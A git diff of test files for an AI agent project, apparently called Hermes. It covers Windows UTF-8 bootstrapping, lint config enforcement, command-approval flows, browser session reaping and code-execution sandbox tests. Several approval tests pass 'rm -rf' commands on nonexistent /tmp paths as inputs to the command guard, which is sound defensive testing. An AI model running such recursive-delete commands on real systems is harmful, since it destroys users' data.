reason="Real POSIX required for this check", + ) + def test_real_posix_bootstrap_is_noop(self, monkeypatch): + """On actual Linux/macOS, importing the module must not set + PYTHONUTF8 or reconfigure stdio.""" + monkeypatch.delenv("PYTHONUTF8", raising=False) + monkeypatch.delenv("PYTHONIOENCODING", raising=False) + hb = _fresh_import() + assert hb._bootstrap_applied is False + assert "PYTHONUTF8" not in os.environ + assert "PYTHONIOENCODING" not in os.environ + + +class TestIdempotence: + """Calling apply_windows_utf8_bootstrap() multiple times must be safe.""" + + def test_second_call_returns_false(self): + hb = _fresh_import() + # First call already happened at import time. + result = hb.apply_windows_utf8_bootstrap() + assert result is False, ( + "Second call should return False (idempotent no-op)" + ) + + def test_no_exceptions_on_repeated_calls(self): + hb = _fresh_import() + for _ in range(5): + hb.apply_windows_utf8_bootstrap() + + +class TestStdioReconfigureErrorHandling: + """If sys.stdout/stderr/stdin have been replaced with streams that + don't support reconfigure (e.g. by a test harness), the bootstrap + must degrade gracefully rather than crash.""" + + def test_non_reconfigurable_stream_does_not_crash(self, monkeypatch): + """Replace sys.stdout with a BytesIO (no reconfigure method), + then run the bootstrap and make sure it doesn't raise.""" + hb = _fresh_import() + hb._IS_WINDOWS = True + hb._bootstrap_applied = False + + fake = io.BytesIO() # no .reconfigure attribute + monkeypatch.setattr(sys, "stdout", fake) + try: + # Must not raise. + hb.apply_windows_utf8_bootstrap() + except Exception as exc: + pytest.fail(f"bootstrap raised on non-reconfigurable stdout: {exc}") + + def test_reconfigure_oserror_is_caught(self, monkeypatch): + """If reconfigure() itself raises (closed stream, etc.), swallow + the error — the env-var half of the fix still applies.""" + hb = _fresh_import() + hb._IS_WINDOWS = True + hb._bootstrap_applied = False + + class _BrokenStream: + encoding = "utf-8" + def reconfigure(self, **kwargs): + raise OSError("simulated: stream already closed") + + monkeypatch.setattr(sys, "stdout", _BrokenStream()) + monkeypatch.setattr(sys, "stderr", _BrokenStream()) + # Must not raise. + hb.apply_windows_utf8_bootstrap() + + +class TestEntryPointsImportBootstrap: + """Every Hermes entry point must import hermes_bootstrap as its + first non-docstring import. We check this by scanning source files + rather than invoking the entry points (which would require a full + agent context).""" + + # Entry points that invoke Hermes as a process. Each one must + # import hermes_bootstrap before doing any file I/O or stdout writes. + ENTRY_POINTS = [ + "hermes_cli/main.py", # hermes CLI (console_script) + "run_agent.py", # hermes-agent (console_script) + "acp_adapter/entry.py", # hermes-acp (console_script) + "gateway/run.py", # gateway + "batch_runner.py", # batch mode + "cli.py", # legacy direct-launch CLI + ] + + @pytest.mark.parametrize("path", ENTRY_POINTS) + def test_entry_point_imports_bootstrap(self, path): + """The file must contain 'import hermes_bootstrap' and that + line must appear before the first 'import' of anything else. + + We're lenient about the docstring (can be arbitrarily long) and + about comment lines — just need to verify the first import + statement is the bootstrap. + + Also lenient about a try/except wrapper around the import: entry + points may guard the import against ``ModuleNotFoundError`` so a + half-finished ``hermes update`` (git-reset landed new code but + ``uv pip install -e .`` didn't finish re-registering + ``hermes_bootstrap`` as a top-level module) leaves hermes + recoverable instead of crashing on every invocation. When the + first top-level node is such a guarded-import block, we peek + inside it to verify bootstrap is the imported module. + """ + # Resolve relative to the hermes-agent repo root. Tests live + # at tests/test_hermes_bootstrap.py, so go up one dir. + import pathlib + here = pathlib.Path(__file__).resolve() + repo_root = here.parent.parent # tests/ -> repo root + full_path = repo_root / path + assert full_path.exists(), f"entry point missing: {full_path}" + + source = full_path.read_text(encoding="utf-8") + + # Find the first non-comment, non-blank line that starts with + # 'import ' or 'from ', or a Try block whose body is the import. + import ast + tree = ast.parse(source) + + first_import_node = None + for node in ast.iter_child_nodes(tree): + if isinstance(node, (ast.Import, ast.ImportFrom)): + first_import_node = node + break + # Accept a guarded-import Try block where the body is a lone + # Import node — this is the recovery-friendly form that lets + # hermes start even when hermes_bootstrap hasn't been + # re-registered in the venv yet. + if isinstance(node, ast.Try) and len(node.body) == 1 and isinstance( + node.body[0], (ast.Import, ast.ImportFrom) + ): + first_import_node = node.body[0] + break + + assert first_import_node is not None, ( + f"{path}: no top-level imports found at all" + ) + + if isinstance(first_import_node, ast.Import): + first_import_name = first_import_node.names[0].name + else: # ImportFrom + first_import_name = first_import_node.module or "" + + assert first_import_name == "hermes_bootstrap", ( + f"{path}: first top-level import is {first_import_name!r}, " + f"but it must be 'hermes_bootstrap' so UTF-8 stdio is " + f"configured before anything else initializes. Move the " + f"'import hermes_bootstrap' line to be the first import." + ) diff --git a/tests/test_lint_config.py b/tests/test_lint_config.py new file mode 100644 index 00000000000..23ca0d6a43a --- /dev/null +++ b/tests/test_lint_config.py @@ -0,0 +1,115 @@ +"""Tests for ruff lint config — guards against accidental rule removal. + +PLW1514 (unspecified-encoding) was enabled after a debug session on +Windows turned up three separate UTF-8 regressions in execute_code. +The rule catches bare ``open()`` / ``read_text()`` / ``write_text()`` +calls that default to locale encoding — cp1252 on Windows — which +silently corrupts non-ASCII content. + +These tests ensure: + 1. PLW1514 stays in ``[tool.ruff.lint.select]`` + 2. The CI workflow's blocking step still invokes ``ruff check .`` + 3. pyproject.toml has ``preview = true`` (required — PLW1514 is a + preview rule in ruff 0.15.x) + +If someone removes any of these, CI stops enforcing UTF-8-explicit +opens and we're back to the original Windows-regression trap. +""" + +from __future__ import annotations + +import pathlib + +import pytest + +try: + import tomllib # Python 3.11+ +except ImportError: # pragma: no cover — 3.10 and earlier + import tomli as tomllib # type: ignore + +REPO_ROOT = pathlib.Path(__file__).resolve().parent.parent + + +def _load_pyproject() -> dict: + with open(REPO_ROOT / "pyproject.toml", "rb") as fh: + return tomllib.load(fh) + + +class TestRuffConfig: + def test_plw1514_is_in_select_list(self): + """pyproject.toml must keep PLW1514 in [tool.ruff.lint.select].""" + cfg = _load_pyproject() + selected = ( + cfg.get("tool", {}) + .get("ruff", {}) + .get("lint", {}) + .get("select", []) + ) + assert "PLW1514" in selected, ( + "PLW1514 (unspecified-encoding) was removed from " + "[tool.ruff.lint.select]. This rule blocks bare open() calls " + "that default to locale encoding on Windows — removing it " + "re-opens a class of UTF-8 bugs we already paid to close. " + "If you genuinely want to remove it, delete this test in the " + "same commit so the intent is deliberate." + ) + + def test_preview_mode_enabled(self): + """PLW1514 is a preview rule in ruff 0.15.x — preview=true is + required for it to actually run.""" + cfg = _load_pyproject() + ruff_cfg = cfg.get("tool", {}).get("ruff", {}) + assert ruff_cfg.get("preview") is True, ( + "[tool.ruff] preview=true is required — PLW1514 is a preview " + "rule and silently becomes a no-op without it. If this ever " + "becomes a stable rule, you can drop preview=true but must " + "verify PLW1514 still fires in a sample test run first." + ) + + +class TestLintWorkflow: + WORKFLOW_PATH = REPO_ROOT / ".github" / "workflows" / "lint.yml" + + def test_workflow_exists(self): + assert self.WORKFLOW_PATH.exists(), ( + f"CI workflow missing: {self.WORKFLOW_PATH}" + ) + + def test_workflow_has_blocking_ruff_step(self): + """The workflow must run a blocking ``ruff check .`` step + (one without --exit-zero) so violations fail the job.""" + content = self.WORKFLOW_PATH.read_text(encoding="utf-8") + # Look for the blocking step's named line + its command. We want + # at least one ``ruff check .`` that does NOT have ``--exit-zero`` + # nearby. + import re + # Split into lines and find ruff check invocations + lines = content.splitlines() + found_blocking = False + for i, line in enumerate(lines): + stripped = line.strip() + if stripped.startswith("ruff check") and "--exit-zero" not in stripped: + # Also check it's not piped to `|| true` which would mask + # the exit code. + window = " ".join(lines[i:i + 3]) + if "|| true" not in window: + found_blocking = True + break + assert found_blocking, ( + "lint.yml no longer contains a blocking ``ruff check .`` step " + "(one without --exit-zero and not masked by || true). " + "Restore it — the PLW1514 rule is only useful if CI actually " + "fails on violation." + ) + + def test_workflow_yaml_is_valid(self): + """Workflow file must parse as valid YAML (can't ship a broken + CI config to main).""" + import yaml + content = self.WORKFLOW_PATH.read_text(encoding="utf-8") + try: + parsed = yaml.safe_load(content) + except yaml.YAMLError as exc: + pytest.fail(f"lint.yml is not valid YAML: {exc}") + assert isinstance(parsed, dict) + assert "jobs" in parsed diff --git a/tests/tools/test_approval_heartbeat.py b/tests/tools/test_approval_heartbeat.py index d54a5b14214..c725a24eb45 100644 --- a/tests/tools/test_approval_heartbeat.py +++ b/tests/tools/test_approval_heartbeat.py @@ -59,151 +59,5 @@ class TestApprovalHeartbeat: os.environ[k] = v _clear_approval_state() - def test_heartbeat_fires_while_waiting_for_approval(self): - """touch_activity_if_due is called repeatedly during the wait.""" - from tools.approval import ( - check_all_command_guards, - register_gateway_notify, - resolve_gateway_approval, - ) - register_gateway_notify(self.SESSION_KEY, lambda _payload: None) - # Use an Event to signal from _fake_touch back to the main thread - # so we can resolve as soon as the first heartbeat fires — avoids - # flakiness from fixed sleeps racing against thread startup. - first_heartbeat = threading.Event() - heartbeat_calls: list[str] = [] - - def _fake_touch(state, label): - # Bypass the 10s throttle so the heartbeat fires every loop - # iteration; we're measuring whether the call happens at all. - heartbeat_calls.append(label) - state["last_touch"] = 0.0 - first_heartbeat.set() - - result_holder: dict = {} - - def _run_check(): - try: - with patch( - "tools.environments.base.touch_activity_if_due", - side_effect=_fake_touch, - ): - result_holder["result"] = check_all_command_guards( - "rm -rf /tmp/nonexistent-heartbeat-target", "local" - ) - except Exception as exc: # pragma: no cover - result_holder["exc"] = exc - - thread = threading.Thread(target=_run_check, daemon=True) - thread.start() - - # Wait for at least one heartbeat to fire — bounded at 10s to catch - # a genuinely hung worker thread without making a green run slow. - assert first_heartbeat.wait(timeout=10.0), ( - "no heartbeat fired within 10s — the approval wait is blocking " - "without firing activity pings, which is the exact bug this " - "test exists to catch" - ) - - # Resolve the approval so the thread exits cleanly. - resolve_gateway_approval(self.SESSION_KEY, "once") - thread.join(timeout=5) - - assert not thread.is_alive(), "approval wait did not exit after resolve" - assert "exc" not in result_holder, ( - f"check_all_command_guards raised: {result_holder.get('exc')!r}" - ) - - # The fix: heartbeats fire while waiting. Before the fix this list - # was empty because event.wait() blocked for the full timeout with - # no activity pings. - assert heartbeat_calls, "expected at least one heartbeat" - assert all( - call == "waiting for user approval" for call in heartbeat_calls - ), f"unexpected heartbeat labels: {set(heartbeat_calls)}" - - # Sanity: the approval was resolved with "once" → command approved. - assert result_holder["result"]["approved"] is True - - def test_wait_returns_immediately_on_user_response(self): - """Polling slices don't delay responsiveness — resolve is near-instant.""" - from tools.approval import ( - check_all_command_guards, - has_blocking_approval, - register_gateway_notify, - resolve_gateway_approval, - ) - - result_holder: dict = {} - - register_gateway_notify(self.SESSION_KEY, lambda _payload: None) - - def _run_check(): - result_holder["result"] = check_all_command_guards( - "rm -rf /tmp/nonexistent-fast-target", "local" - ) - - thread = threading.Thread(target=_run_check, daemon=True) - thread.start() - - # Wait until the worker has actually enqueued the approval. Resolving - # before registration is a test race, not a responsiveness signal. - deadline = time.monotonic() + 5.0 - while time.monotonic() < deadline: - if has_blocking_approval(self.SESSION_KEY): - break - time.sleep(0.01) - assert has_blocking_approval(self.SESSION_KEY) - - # Resolve almost immediately — the wait loop should return within - # its current 1s poll slice. - start_time = time.monotonic() - resolve_gateway_approval(self.SESSION_KEY, "once") - thread.join(timeout=5) - elapsed = time.monotonic() - start_time - - assert not thread.is_alive() - assert result_holder["result"]["approved"] is True - # Generous bound to tolerate CI load; the previous single-wait - # impl returned in <10ms, the polling impl is bounded by the 1s - # slice length. - assert elapsed < 3.0, f"resolution took {elapsed:.2f}s, expected <3s" - - def test_heartbeat_import_failure_does_not_break_wait(self): - """If tools.environments.base can't be imported, the wait still works.""" - from tools.approval import ( - check_all_command_guards, - register_gateway_notify, - resolve_gateway_approval, - ) - - register_gateway_notify(self.SESSION_KEY, lambda _payload: None) - - result_holder: dict = {} - import builtins - real_import = builtins.__import__ - - def _fail_environments_base(name, *args, **kwargs): - if name == "tools.environments.base": - raise ImportError("simulated") - return real_import(name, *args, **kwargs) - - def _run_check(): - with patch.object(builtins, "__import__", - side_effect=_fail_environments_base): - result_holder["result"] = check_all_command_guards( - "rm -rf /tmp/nonexistent-import-fail-target", "local" - ) - - thread = threading.Thread(target=_run_check, daemon=True) - thread.start() - - time.sleep(0.2) - resolve_gateway_approval(self.SESSION_KEY, "once") - thread.join(timeout=5) - - assert not thread.is_alive() - # Even when heartbeat import fails, the approval flow completes. - assert result_holder["result"]["approved"] is True diff --git a/tests/tools/test_approval_plugin_hooks.py b/tests/tools/test_approval_plugin_hooks.py index 29489cf8778..4d981889f92 100644 --- a/tests/tools/test_approval_plugin_hooks.py +++ b/tests/tools/test_approval_plugin_hooks.py @@ -142,107 +142,4 @@ class TestGatewayPathFiresHooks: approval event until resolve_gateway_approval() is called from another thread.""" - def test_pre_and_post_fire_on_gateway_surface( - self, isolated_session, monkeypatch - ): - import threading - monkeypatch.delenv("HERMES_INTERACTIVE", raising=False) - monkeypatch.setenv("HERMES_GATEWAY_SESSION", "1") - monkeypatch.delenv("HERMES_EXEC_ASK", raising=False) - monkeypatch.setattr(approval_module, "_get_approval_mode", lambda: "manual") - # Short gateway_timeout so a buggy test fails fast instead of hanging - monkeypatch.setattr( - approval_module, "_get_approval_config", lambda: {"gateway_timeout": 10} - ) - - captured = [] - - def fake_invoke_hook(hook_name, **kwargs): - captured.append((hook_name, kwargs)) - return [] - - notify_seen = threading.Event() - - def notify_cb(approval_data): - notify_seen.set() - - register_gateway_notify(isolated_session, notify_cb) - result_holder = {} - - def run_guard(): - with patch("hermes_cli.plugins.invoke_hook", side_effect=fake_invoke_hook): - result_holder["result"] = check_all_command_guards( - "rm -rf /tmp/test-gateway-hook", "local", - ) - - t = threading.Thread(target=run_guard, daemon=True) - t.start() - - # Wait for the gateway callback to see the approval request - assert notify_seen.wait(timeout=5), "Gateway notify never fired" - - # User approves from the "other thread" (simulating /approve command) - resolve_gateway_approval(isolated_session, "once") - - t.join(timeout=5) - assert not t.is_alive(), "Agent thread never unblocked" - unregister_gateway_notify(isolated_session) - - assert result_holder["result"]["approved"] is True - - hook_names = [c[0] for c in captured] - assert "pre_approval_request" in hook_names - assert "post_approval_response" in hook_names - - pre_kwargs = next(kw for name, kw in captured if name == "pre_approval_request") - assert pre_kwargs["surface"] == "gateway" - assert pre_kwargs["command"] == "rm -rf /tmp/test-gateway-hook" - - post_kwargs = next(kw for name, kw in captured if name == "post_approval_response") - assert post_kwargs["surface"] == "gateway" - assert post_kwargs["choice"] == "once" - - def test_timeout_reports_timeout_choice(self, isolated_session, monkeypatch): - import threading - - monkeypatch.delenv("HERMES_INTERACTIVE", raising=False) - monkeypatch.setenv("HERMES_GATEWAY_SESSION", "1") - monkeypatch.delenv("HERMES_EXEC_ASK", raising=False) - monkeypatch.setattr(approval_module, "_get_approval_mode", lambda: "manual") - monkeypatch.setattr( - approval_module, "_get_approval_config", lambda: {"gateway_timeout": 1} - ) - - captured = [] - - def fake_invoke_hook(hook_name, **kwargs): - captured.append((hook_name, kwargs)) - return [] - - notify_seen = threading.Event() - - def notify_cb(approval_data): - notify_seen.set() - - register_gateway_notify(isolated_session, notify_cb) - result_holder = {} - - def run_guard(): - with patch("hermes_cli.plugins.invoke_hook", side_effect=fake_invoke_hook): - result_holder["result"] = check_all_command_guards( - "rm -rf /tmp/test-gateway-timeout", "local", - ) - - t = threading.Thread(target=run_guard, daemon=True) - t.start() - assert notify_seen.wait(timeout=5) - # Deliberately do NOT resolve -- let it time out - t.join(timeout=5) - assert not t.is_alive() - unregister_gateway_notify(isolated_session) - - assert result_holder["result"]["approved"] is False - - post_kwargs = next(kw for name, kw in captured if name == "post_approval_response") - assert post_kwargs["choice"] == "timeout" diff --git a/tests/tools/test_browser_chromium_check.py b/tests/tools/test_browser_chromium_check.py index a09758a28ea..ef3fca4352f 100644 --- a/tests/tools/test_browser_chromium_check.py +++ b/tests/tools/test_browser_chromium_check.py @@ -51,25 +51,8 @@ class TestChromiumInstalled: (tmp_path / "chromium_headless_shell-1208").mkdir() assert bt._chromium_installed() is True - def test_false_when_dir_empty(self, monkeypatch, tmp_path): - monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(tmp_path)) - monkeypatch.setattr("os.path.expanduser", lambda p: str(tmp_path / "fakehome")) - assert bt._chromium_installed() is False - def test_false_when_only_unrelated_browsers(self, monkeypatch, tmp_path): - monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(tmp_path)) - monkeypatch.setattr("os.path.expanduser", lambda p: str(tmp_path / "fakehome")) - (tmp_path / "firefox-1234").mkdir() - (tmp_path / "webkit-5678").mkdir() - assert bt._chromium_installed() is False - def test_false_when_path_not_a_dir(self, monkeypatch, tmp_path): - # User points PLAYWRIGHT_BROWSERS_PATH at a file by mistake. - bogus = tmp_path / "nope" - bogus.write_text("") - monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(bogus)) - monkeypatch.setattr("os.path.expanduser", lambda p: str(tmp_path / "fakehome")) - assert bt._chromium_installed() is False def test_result_cached(self, monkeypatch, tmp_path): monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(tmp_path)) @@ -81,15 +64,6 @@ class TestChromiumInstalled: class TestCheckBrowserRequirementsChromium: - def test_local_mode_missing_chromium_returns_false(self, monkeypatch, tmp_path): - monkeypatch.setattr(bt, "_is_camofox_mode", lambda: False) - monkeypatch.setattr(bt, "_find_agent_browser", lambda: "/usr/local/bin/agent-browser") - monkeypatch.setattr(bt, "_requires_real_termux_browser_install", lambda _: False) - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: None) - monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(tmp_path)) - monkeypatch.setattr("os.path.expanduser", lambda p: str(tmp_path / "fakehome")) - - assert bt.check_browser_requirements() is False def test_local_mode_with_chromium_returns_true(self, monkeypatch, tmp_path): monkeypatch.setattr(bt, "_is_camofox_mode", lambda: False) @@ -133,44 +107,5 @@ class TestRunBrowserCommandChromiumGuard: Chromium is missing in local mode. """ - def test_local_mode_missing_chromium_returns_error_immediately(self, monkeypatch, tmp_path): - monkeypatch.setattr(bt, "_find_agent_browser", lambda: "/usr/local/bin/agent-browser") - monkeypatch.setattr(bt, "_requires_real_termux_browser_install", lambda _: False) - monkeypatch.setattr(bt, "_is_local_mode", lambda: True) - monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(tmp_path)) - monkeypatch.setattr("os.path.expanduser", lambda p: str(tmp_path / "fakehome")) - # If we ever reached subprocess.Popen the test would hang — the - # fast-fail guard prevents that. - def _fail_popen(*args, **kwargs): - raise AssertionError("Should have failed before spawning subprocess") - monkeypatch.setattr("subprocess.Popen", _fail_popen) - - result = bt._run_browser_command("task-1", "navigate", ["https://example.com"]) - assert result["success"] is False - assert "Chromium" in result["error"] - - def test_docker_hint_mentions_image_pull(self, monkeypatch, tmp_path): - monkeypatch.setattr(bt, "_find_agent_browser", lambda: "/usr/local/bin/agent-browser") - monkeypatch.setattr(bt, "_requires_real_termux_browser_install", lambda _: False) - monkeypatch.setattr(bt, "_is_local_mode", lambda: True) - monkeypatch.setattr(bt, "_running_in_docker", lambda: True) - monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(tmp_path)) - monkeypatch.setattr("os.path.expanduser", lambda p: str(tmp_path / "fakehome")) - - result = bt._run_browser_command("task-1", "navigate", ["https://example.com"]) - assert result["success"] is False - assert "docker pull" in result["error"].lower() - - def test_non_docker_hint_mentions_agent_browser_install(self, monkeypatch, tmp_path): - monkeypatch.setattr(bt, "_find_agent_browser", lambda: "/usr/local/bin/agent-browser") - monkeypatch.setattr(bt, "_requires_real_termux_browser_install", lambda _: False) - monkeypatch.setattr(bt, "_is_local_mode", lambda: True) - monkeypatch.setattr(bt, "_running_in_docker", lambda: False) - monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(tmp_path)) - monkeypatch.setattr("os.path.expanduser", lambda p: str(tmp_path / "fakehome")) - - result = bt._run_browser_command("task-1", "navigate", ["https://example.com"]) - assert result["success"] is False - assert "agent-browser install" in result["error"] diff --git a/tests/tools/test_browser_homebrew_paths.py b/tests/tools/test_browser_homebrew_paths.py index 221d2e6602a..7e4d1c70222 100644 --- a/tests/tools/test_browser_homebrew_paths.py +++ b/tests/tools/test_browser_homebrew_paths.py @@ -340,7 +340,15 @@ class TestRunBrowserCommandPathConstruction: _run_browser_command("test-task", "navigate", ["https://example.com"]) assert captured_cmd is not None - assert captured_cmd[:2] == ["npx", "agent-browser"] + # The prefix must split "npx agent-browser" into two argv items. + # On POSIX shutil.which("npx") returns the absolute path if npx is on + # PATH (which the test's patched PATH always contains when the system + # has it installed). The important invariant is that the second + # argv item is the package name "agent-browser", not a merged + # "npx agent-browser" string — that's what Popen needs. + assert len(captured_cmd) >= 2 + assert captured_cmd[0].endswith("npx") or captured_cmd[0] == "npx" + assert captured_cmd[1] == "agent-browser" assert captured_cmd[2:6] == [ "--session", "test-session", diff --git a/tests/tools/test_browser_orphan_reaper.py b/tests/tools/test_browser_orphan_reaper.py index 202aa6f9a25..0724cbd6311 100644 --- a/tests/tools/test_browser_orphan_reaper.py +++ b/tests/tools/test_browser_orphan_reaper.py @@ -81,19 +81,18 @@ class TestReapOrphanedBrowserSessions: d = _make_socket_dir(fake_tmpdir, "h_orphan12345", pid=12345) kill_calls = [] - original_kill = os.kill def mock_kill(pid, sig): kill_calls.append((pid, sig)) - if sig == 0: - return # pretend process exists # Don't actually kill anything - with patch("os.kill", side_effect=mock_kill): + # Post-#21561 the liveness probe goes through + # ``gateway.status._pid_exists`` (which wraps ``psutil.pid_exists`` + # so it's safe on Windows — ``os.kill(pid, 0)`` is bpo-14484). + with patch("gateway.status._pid_exists", return_value=True), \ + patch("os.kill", side_effect=mock_kill): _reap_orphaned_browser_sessions() - # Should have checked existence (sig 0) then killed (SIGTERM) - assert (12345, 0) in kill_calls assert (12345, signal.SIGTERM) in kill_calls def test_tracked_session_is_not_reaped(self, fake_tmpdir): @@ -120,21 +119,31 @@ class TestReapOrphanedBrowserSessions: # Dir should still exist assert d.exists() - def test_permission_error_on_kill_check_skips(self, fake_tmpdir): - """If we can't check the PID (PermissionError), skip it.""" + def test_alive_legacy_daemon_is_reaped(self, fake_tmpdir): + """Alive, untracked, legacy (no owner_pid) daemon is reaped. + + Post-#21561 the liveness probe goes through + ``gateway.status._pid_exists`` (which wraps ``psutil.pid_exists`` + because ``os.kill(pid, 0)`` is a footgun on Windows — bpo-14484). + With no owner_pid file and no tracked-name entry, the reaper + SIGTERMs the daemon and removes its socket dir regardless of + whether SIGTERM succeeded (best-effort semantics). + """ from tools.browser_tool import _reap_orphaned_browser_sessions d = _make_socket_dir(fake_tmpdir, "h_perm1234567", pid=12345) - def mock_kill(pid, sig): - if sig == 0: - raise PermissionError("not our process") + sigterm_calls = [] - with patch("os.kill", side_effect=mock_kill): + def mock_kill(pid, sig): + sigterm_calls.append((pid, sig)) + + with patch("gateway.status._pid_exists", return_value=True), \ + patch("os.kill", side_effect=mock_kill): _reap_orphaned_browser_sessions() - # Dir should still exist (we didn't touch someone else's process) - assert d.exists() + assert (12345, signal.SIGTERM) in sigterm_calls + assert not d.exists() def test_cdp_sessions_are_also_reaped(self, fake_tmpdir): """CDP sessions (cdp_ prefix) are also scanned.""" @@ -196,19 +205,13 @@ class TestOwnerPidCrossProcess: def mock_kill(pid, sig): kill_calls.append((pid, sig)) - if pid == os.getpid() and sig == 0: - return # real existence check: owner alive - if sig == 0: - return # pretend daemon exists too - # Don't actually kill anything - with patch("os.kill", side_effect=mock_kill): + # Owner alive → reaper skips without ever probing the daemon. + with patch("gateway.status._pid_exists", return_value=True), \ + patch("os.kill", side_effect=mock_kill): _reap_orphaned_browser_sessions() - # We should have checked the owner (sig 0) but never tried to kill - # the daemon. assert (12345, signal.SIGTERM) not in kill_calls - # Dir should still exist assert d.exists() def test_dead_owner_triggers_reap(self, fake_tmpdir): @@ -224,20 +227,15 @@ class TestOwnerPidCrossProcess: def mock_kill(pid, sig): kill_calls.append((pid, sig)) - if pid == 999999999 and sig == 0: - raise ProcessLookupError # owner dead - if pid == 12345 and sig == 0: - return # daemon still alive - # SIGTERM to daemon — noop in test - with patch("os.kill", side_effect=mock_kill): + # Owner 999999999 dead, daemon 12345 alive. + pid_alive = {999999999: False, 12345: True} + with patch("gateway.status._pid_exists", + side_effect=lambda pid: pid_alive.get(int(pid), False)), \ + patch("os.kill", side_effect=mock_kill): _reap_orphaned_browser_sessions() - # Owner checked (returned dead), daemon checked (alive), daemon killed - assert (999999999, 0) in kill_calls - assert (12345, 0) in kill_calls assert (12345, signal.SIGTERM) in kill_calls - # Dir cleaned up assert not d.exists() def test_corrupt_owner_pid_falls_back_to_legacy(self, fake_tmpdir): @@ -258,7 +256,8 @@ class TestOwnerPidCrossProcess: def mock_kill(pid, sig): kill_calls.append((pid, sig)) - with patch("os.kill", side_effect=mock_kill): + with patch("gateway.status._pid_exists", return_value=True), \ + patch("os.kill", side_effect=mock_kill): _reap_orphaned_browser_sessions() # Legacy path took over → tracked → not reaped @@ -266,10 +265,12 @@ class TestOwnerPidCrossProcess: assert d.exists() def test_owner_pid_permission_error_treated_as_alive(self, fake_tmpdir): - """If os.kill(owner, 0) raises PermissionError, treat owner as alive. + """Owner PID owned by another user → treat as alive. - PermissionError means the PID exists but is owned by a different user — - we must not assume the owner is dead (could kill someone else's daemon). + Post-#21561 this is handled inside ``gateway.status._pid_exists`` + (via psutil's ``OpenProcess`` returning ``ERROR_ACCESS_DENIED`` on + Windows, or via the POSIX fallback's ``except PermissionError`` + branch). Exposed to callers as ``alive=True``. """ from tools.browser_tool import _reap_orphaned_browser_sessions @@ -281,13 +282,13 @@ class TestOwnerPidCrossProcess: def mock_kill(pid, sig): kill_calls.append((pid, sig)) - if pid == 22222 and sig == 0: - raise PermissionError("not our user") - with patch("os.kill", side_effect=mock_kill): + # Owner 22222 reported alive (PermissionError collapses to True + # inside _pid_exists). Daemon never probed, never SIGTERMed. + with patch("gateway.status._pid_exists", return_value=True), \ + patch("os.kill", side_effect=mock_kill): _reap_orphaned_browser_sessions() - # Must NOT have tried to kill the daemon assert (12345, signal.SIGTERM) not in kill_calls assert d.exists() diff --git a/tests/tools/test_code_execution.py b/tests/tools/test_code_execution.py index a5806046583..2d08265fb7b 100644 --- a/tests/tools/test_code_execution.py +++ b/tests/tools/test_code_execution.py @@ -774,11 +774,17 @@ class TestEnvVarFiltering(unittest.TestCase): class TestExecuteCodeEdgeCases(unittest.TestCase): def test_windows_returns_error(self): - """On Windows (or when SANDBOX_AVAILABLE is False), returns error JSON.""" + """When SANDBOX_AVAILABLE is False (e.g. when the backend deems + the sandbox unusable for this environment), execute_code returns + an error JSON with a readable message pointing the caller at + regular tool calls. Previously this was a Windows-only gate; + execute_code now works on Windows via loopback TCP, so the + error is only emitted when SANDBOX_AVAILABLE is explicitly + flipped off (e.g. for future platform-specific disables).""" with patch("tools.code_execution_tool.SANDBOX_AVAILABLE", False): result = json.loads(execute_code("print('hi')", task_id="test")) self.assertIn("error", result) - self.assertIn("Windows", result["error"]) + self.assertIn("unavailable", result["error"].lower()) def test_whitespace_only_code(self): result = json.loads(execute_code(" \n\t ", task_id="test")) diff --git a/tests/tools/test_code_execution_modes.py b/tests/tools/test_code_execution_modes.py index 875eaf7aeda..4e22fe6e7a2 100644 --- a/tests/tools/test_code_execution_modes.py +++ b/tests/tools/test_code_execution_modes.py @@ -131,6 +131,12 @@ class TestResolveChildPython(unittest.TestCase): def test_project_with_virtualenv_picks_venv_python(self): """Project mode + VIRTUAL_ENV pointing at a real venv → that python.""" + if sys.platform == "win32": + pytest.skip( + "Creates symlinks and assumes POSIX venv layout (bin/python). " + "Windows venvs use Scripts/python.exe and symlink creation " + "requires elevated privileges (WinError 1314)." + ) import tempfile, pathlib with tempfile.TemporaryDirectory() as td: fake_venv = pathlib.Path(td) @@ -154,6 +160,12 @@ class TestResolveChildPython(unittest.TestCase): def test_project_prefers_virtualenv_over_conda(self): """If both VIRTUAL_ENV and CONDA_PREFIX are set, VIRTUAL_ENV wins.""" + if sys.platform == "win32": + pytest.skip( + "Creates symlinks and assumes POSIX venv layout (bin/python). " + "Windows venvs use Scripts/python.exe and symlink creation " + "requires elevated privileges (WinError 1314)." + ) import tempfile, pathlib with tempfile.TemporaryDirectory() as ve_td, tempfile.TemporaryDirectory() as conda_td: ve = pathlib.Path(ve_td) @@ -257,7 +269,15 @@ class TestModeAwareSchema(unittest.TestCase): # Integration: what actually happens when execute_code runs per mode # --------------------------------------------------------------------------- -@pytest.mark.skipif(sys.platform == "win32", reason="execute_code is POSIX-only") +@pytest.mark.skipif( + sys.platform == "win32", + reason=( + "Assumes POSIX venv layout (bin/python) and symlink creation " + "privileges. execute_code itself works on Windows — these " + "integration tests just haven't been ported to the Scripts/" + "python.exe layout yet." + ), +) class TestExecuteCodeModeIntegration(unittest.TestCase): """End-to-end: verify the subprocess actually runs where we expect.""" @@ -351,7 +371,15 @@ class TestExecuteCodeModeIntegration(unittest.TestCase): # changes CWD + interpreter, not the security posture. # --------------------------------------------------------------------------- -@pytest.mark.skipif(sys.platform == "win32", reason="execute_code is POSIX-only") +@pytest.mark.skipif( + sys.platform == "win32", + reason=( + "Assumes POSIX venv layout (bin/python) and symlink creation " + "privileges. execute_code itself works on Windows — these " + "integration tests just haven't been ported to the Scripts/" + "python.exe layout yet." + ), +) class TestSecurityInvariantsAcrossModes(unittest.TestCase): def _run(self, code, mode): diff --git a/tests/tools/test_code_execution_windows_env.py b/tests/tools/test_code_execution_windows_env.py new file mode 100644 index 00000000000..70508818fc1 --- /dev/null +++ b/tests/tools/test_code_execution_windows_env.py @@ -0,0 +1,698 @@ +"""Tests for execute_code env scrubbing on Windows. + +On Windows the child process needs a small set of OS-essential env vars +(SYSTEMROOT, WINDIR, COMSPEC, ...) to run. 